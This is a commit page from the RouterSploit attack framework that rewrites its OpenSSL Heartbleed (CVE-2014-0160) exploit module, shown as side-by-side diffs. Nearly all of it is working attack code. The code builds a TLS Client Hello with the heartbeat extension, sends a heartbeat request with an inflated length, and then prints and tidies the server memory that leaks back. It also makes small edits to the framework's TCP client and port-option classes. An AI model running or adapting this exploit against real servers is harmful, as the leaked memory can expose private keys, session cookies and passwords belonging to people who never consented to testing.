Unverified Commit db145aaf by Marcin Bury Committed by GitHub

OpenSSL Heartbleed module (#409)

* Init heartbleed fixes

* Improving description

* Adding certificate parsing
parent a0d7e4ca
...@@ -54,6 +54,9 @@ class OptPort(Option): ...@@ -54,6 +54,9 @@ class OptPort(Option):
raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.") raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.")
except ValueError: except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value)) raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
def __get__(self, instance, owner):
return int(self.value)
class OptBool(Option): class OptBool(Option):
......
...@@ -36,8 +36,9 @@ class TCPClient(Exploit): ...@@ -36,8 +36,9 @@ class TCPClient(Exploit):
print_status("Connection established") print_status("Connection established")
return tcp_client return tcp_client
except Exception: except Exception as err:
print_error("Could not connect") print_error("Could not connect")
print_error(err)
return None return None
...@@ -45,18 +46,22 @@ class TCPClient(Exploit): ...@@ -45,18 +46,22 @@ class TCPClient(Exploit):
if tcp_client: if tcp_client:
if type(data) is bytes: if type(data) is bytes:
return tcp_client.send(data) return tcp_client.send(data)
elif type(data) is str:
return tcp_client.send(bytes(data, "utf-8"))
else: else:
print_error("Data to send is not type of bytes or string") print_error("Data to send is not type of bytes")
return None return None
def tcp_recv(self, tcp_client, num): def tcp_recv(self, tcp_client, num):
if tcp_client: if tcp_client:
try: try:
response = tcp_client.recv(num) response = b""
return str(response, "utf-8") received = 0
while received < num:
tmp = tcp_client.recv(num - received)
received += len(tmp)
response += tmp
return response
except socket.timeout: except socket.timeout:
print_error("Socket did timeout") print_error("Socket did timeout")
......
import re
import binascii import binascii
import select from time import time
import socket from struct import pack, unpack
import struct from cryptography import x509
import time from cryptography.hazmat.backends import default_backend
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.tcp.tcp_client import TCPClient from routersploit.core.tcp.tcp_client import TCPClient
from future.builtins import range
class Exploit(TCPClient): class Exploit(TCPClient):
__info__ = { __info__ = {
'name': 'Heartbleed', "name": "OpenSSL Heartbleed",
'description': 'Exploits Hearbleed vulnerability.', "description": "Exploits OpenSSL Heartbleed vulnerability. Vulnerability exists in the handling of heartbeat requests,"
'authors': [ " where fake length can be used to leak memory data in the response. This module is heavily based on "
'Jared Stafford <jspenguin[at]jspenguin.org>', # proof of concept python exploit " Metasploit module.",
'Marcin Bury <marcin[at]threat9.com>', # routersploit module "authors": (
], "Neel Mehta", # vulnerability discovery
'references': [ "Riku", # vulnerability discovery
'http://www.cvedetails.com/cve/2014-0160', "Antti", # vulnerability discovery
'http://heartbleed.com/', "Matti", # vulnerability discovery
'https://www.us-cert.gov/ncas/alerts/TA14-098A', "Jared Stafford <jspenguin[at]jspenguin.org>", # Original Proof of Concept. This module is based on it.
'https://gist.github.com/takeshixx/10107280', "FiloSottile", # PoC site and tool
], "Christian Mehlmauer", # metasploit module
'devices': [ "wvu", # metasploit module
'Multi', "juan vazquez", # metasploit module
], "Sebastiano Di Paola", # metasploit module
"Tom Sellers", # metasploit module
"jjarmoc", # metasploit module; keydump, refactoring..
"Ben Buchanan", # metasploit module
"herself", # metasploit module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"http://www.cvedetails.com/cve/2014-0160",
"http://heartbleed.com/",
"https://www.us-cert.gov/ncas/alerts/TA14-098A",
"https://gist.github.com/takeshixx/10107280",
"https://github.com/FiloSottile/Heartbleed",
"http://filippo.io/Heartbleed/",
),
"devices": (
"Multi",
),
} }
target_protocol = Protocol.HTTP
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(443, "Target HTTP port") port = OptPort(443, "Target HTTP port")
ssl = OptBool("SSL enabled: true/false")
tls_version = OptString("1.0", "TLS/SSL version to use: SSLv3, 1.0, 1.1, 1.2")
heartbeat_length = OptInteger(65535, "Heartbeat length")
CIPHER_SUITS = (
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
)
SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
"SSLv3": 0x0300,
"1.0": 0x0301,
"1.1": 0x0302,
"1.2": 0x0303
}
def __init__(self): def __init__(self):
self.hello = ''' self.tcp_client = None
16 03 02 00 dc 01 00 00 d8 03 02 53 self.leak = None
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
'''
self.hb = '''
18 03 02 00 03
01 40 00
'''
def h2bin(self, x):
return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
def hexdump(self, s):
for b in range(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
print_info(' %04x: %-48s %s' % (b, hxdat, pdat))
print_info()
def recvall(self, s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
try:
data = s.recv(remain)
except socket.error:
return None
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(self, s):
hdr = self.recvall(s, 5)
if hdr is None:
# Unexpected EOF receiving record header - server closed connection
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = self.recvall(s, ln, 10)
if pay is None:
# Unexpected EOF receiving record payload - server closed connection
return None, None, None # ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(self, s):
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
print_error("No heartbeat response received, server likely not vulnerable")
return False
if typ == 24:
print_status("Received heartbeat response")
self.hexdump(pay)
if len(pay) > 3:
print_success("WARNING: server returned more data than it should - server is vulnerable!")
else:
print_error("Server processed malformed heartbeat, but did not return any extra data.")
return
if typ == 21: self.printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
print_error("Server returned error, likely not vulnerable") self.white_chars = " \t\n\r\x0b\x0c"
print_error("Exploit failed")
return
def run(self): def run(self):
try: self.leak = self.bleed()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.leak:
s.connect((self.target, int(self.port))) data = ""
s.send(self.h2bin(self.hello)) for l in self.leak:
except: char = chr(l)
print_error("Connection failed: {}:{}".format(self.target, self.port)) if char in self.white_chars:
return data += " "
elif char not in self.printable:
while True: data += "."
typ, ver, pay = self.recvmsg(s) else:
if typ is None: data += char
print_error("Server closed connection without sending Server Hello.")
print_error("Exploit failed") clean_data = ""
return tmp_b = 0
for item in re.finditer(r"(\.){400,}", data):
# Look for server hello done message. a, b = item.span()
if typ == 22 and ord(pay[0]) == 0x0E: clean_data += data[tmp_b:a]
break tmp_b = b
clean_data += "................................ repeated {} times ................................".format(b-a-64)
print_status("Sending heartbeat request")
s.send(self.h2bin(self.hb)) clean_data += data[b:]
self.hit_hb(s) print_info(clean_data)
else:
print_error("Exploit failed - Target does not seem to be vulnerable")
@mute @mute
def check(self): def check(self):
try: if self.bleed():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return True
s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello)) return False
except socket.error:
return False # target is not vulnerable def bleed(self):
self.establish_connect()
while True:
typ, ver, pay = self.recvmsg(s) print_status("Sending Heartbeat...")
if typ is None: heartbeat_req = self.heartbeat_request(self.heartbeat_length)
return False # target is not vulnerable self.tcp_send(self.tcp_client, heartbeat_req)
hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
if typ == 22 and ord(pay[0]) == 0x0E: if not hdr:
break print_error("No Heartbeat response...")
return False
s.send(self.h2bin(self.hb))
record_type, version, length = unpack(">BHH", hdr)
while True:
typ, ver, pay = self.recvmsg(s) if record_type != self.HEARTBEAT_RECORD_TYPE or version != self.TLS_VERSION[self.tls_version]:
if typ is None: print_error("Unexpected Hearbeat response header")
return False # target is not vulnerable self.tcp_close(self.tcp_client)
if typ == 24: heartbeat_data = self.tcp_recv(self.tcp_client, self.heartbeat_length)
if len(pay) > 3: print_success("Heartbeat response, {} bytes".format(len(heartbeat_data)))
return True # target is vulnerable self.tcp_close(self.tcp_client)
else:
return False # target is not vulnerable return heartbeat_data
def establish_connect(self):
self.tcp_client = self.tcp_connect()
print_status("Sending Client Hello...")
data = self.client_hello()
self.tcp_send(self.tcp_client, data)
server_response = self.get_server_hello()
if not server_response:
print_error("Server Hello not found")
return server_response
def get_server_hello(self):
server_done = False
ssl_record_counter = 0
remaining_data = self.get_ssl_record()
while remaining_data and len(remaining_data) > 0:
ssl_record_counter += 1
ssl_type, ssl_version, ssl_len = unpack(">BHH", remaining_data[:5])
print_status("SSL record {}".format(ssl_record_counter))
print_status("\tType: {}".format(ssl_type))
print_status("\tVersion: 0x{:x}".format(ssl_version))
print_status("\tLength: {}".format(ssl_len))
if ssl_type != self.HANDSHAKE_RECORD_TYPE:
print_status("\tWrong Record Type")
else:
ssl_data = remaining_data[5: 5 + ssl_len]
handshakes = self.parse_handshakes(ssl_data)
# Stop once we receive SERVER_HELLO_DONE
if handshakes and handshakes[-1]["type"] == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:
server_done = True
break
remaining_data = self.get_ssl_record()
return server_done
def parse_handshakes(self, data):
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data and len(remaining_data) > 0:
hs_type, hs_len_pad, hs_len = unpack(">BBH", remaining_data[:4])
hs_data = remaining_data[4: 4 + hs_len]
handshake_count += 1
print_status("\tHandshake {}".format(handshake_count))
print_status("\t\tLength: {}".format(hs_len))
handshake_parsed = None
if hs_type == self.HANDSHAKE_SERVER_HELLO_TYPE:
print_status("\t\tType: Server Hello ({})".format(hs_type))
handshake_parsed = self.parse_server_hello(hs_data)
elif hs_type == self.HANDSHAKE_CERTIFICATE_TYPE:
print_status("\t\tType: Certificate Data ({})".format(hs_type))
handshake_parsed = self.parse_certificate_data(hs_data)
elif hs_type == self.HANDSHAKE_KEY_EXCHANGE_TYPE:
print_status("\t\tType: Server Key Exchange ({})".format(hs_type))
elif hs_type == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:
print_status("\t\tType: Server Hello Done ({})".format(hs_type))
else:
print_status("\t\tType: Handshake type {} not implement".format(hs_type))
handshakes.append({
"type": hs_type,
"len": hs_len,
"data": handshake_parsed
})
remaining_data = remaining_data[4 + hs_len:]
return handshakes
def parse_server_hello(self, data):
version = unpack(">H", data[:2])[0]
print_status("\t\tServer Hello Version: 0x{:x}".format(version))
random = unpack(">" + "B"*32, data[2:34])
random_hex = str(binascii.hexlify(bytes(random)), "utf-8")
print_status("\t\tServer Hello random data: {}".format(random_hex))
session_id_length = unpack(">B", data[34:35])[0]
print_status("\t\tServer Hello Session ID length: {}".format(session_id_length))
session_id = unpack(">" + "B"*session_id_length, data[35: 35 + session_id_length])
session_id_hex = str(binascii.hexlify(bytes(session_id)), "utf-8")
print_status("\t\tServer Hello session id: {}".format(session_id_hex))
def parse_certificate_data(self, data):
cert_len_padding, cert_len = unpack(">BH", data[:3])
print_status("\t\tCertificates length: {}".format(cert_len))
print_status("\t\tData length: {}".format(len(data)))
#contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len:
cert_counter += 1
# get single certificate length
single_cert_len_padding, single_cert_len = unpack(">BH", data[already_read:already_read+3])
print_status("\t\tCertificate {}".format(cert_counter))
print_status("\t\t\tCertificate {}: Length: {}".format(cert_counter, single_cert_len))
certificate_data = data[(already_read + 3): (already_read+3+single_cert_len)]
cert = x509.load_der_x509_certificate(certificate_data, default_backend())
print_status("\t\t\tCertificate {}: {}".format(cert_counter, cert))
already_read = already_read + single_cert_len + 3
def get_ssl_record(self):
hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
if hdr:
length = unpack(">BHH", hdr)[2]
data = self.tcp_recv(self.tcp_client, length)
hdr += data
return hdr
return None
def client_hello(self):
# user current time for TLS time
time_epoch = int(time())
cipher_suits_len = len(self.CIPHER_SUITS)
hello_data = pack(">H", self.TLS_VERSION[self.tls_version]) # Version TLS
hello_data += pack(">L", time_epoch) # Time in epoch format
hello_data += bytes(utils.random_text(28), "utf-8") # Random
hello_data += b"\x00" # Session ID length
hello_data += pack(">H", cipher_suits_len * 2) # Cipher Suits Length (102)
hello_data += pack(">" + "H" * cipher_suits_len, *self.CIPHER_SUITS) # Cipher Suites
hello_data += b"\x01" # Compression methods length (1)
hello_data += b"\x00" # Compression methods: null
hello_data_extensions = b"\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions += b"\x00\x01" # Extension length
hello_data_extensions += b"\x01" # Extension data
hello_data += pack(">H", len(hello_data_extensions))
hello_data += hello_data_extensions
data = b"\x01\x00" # Handshake Type: Client Hello (1)
data += pack(">H", len(hello_data)) # Length
data += hello_data
return self.ssl_record(self.HANDSHAKE_RECORD_TYPE, data)
def heartbeat_request(self, length):
payload = b"\x01" # Heartbeat Message Type: Request (1)
payload += pack(">H", length)
return self.ssl_record(self.HEARTBEAT_RECORD_TYPE, payload)
if typ == 21: def ssl_record(self, record_type, data):
return False # target is not vulnerable record = pack(">BHH", record_type, self.TLS_VERSION[self.tls_version], len(data))
record += data
return record
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment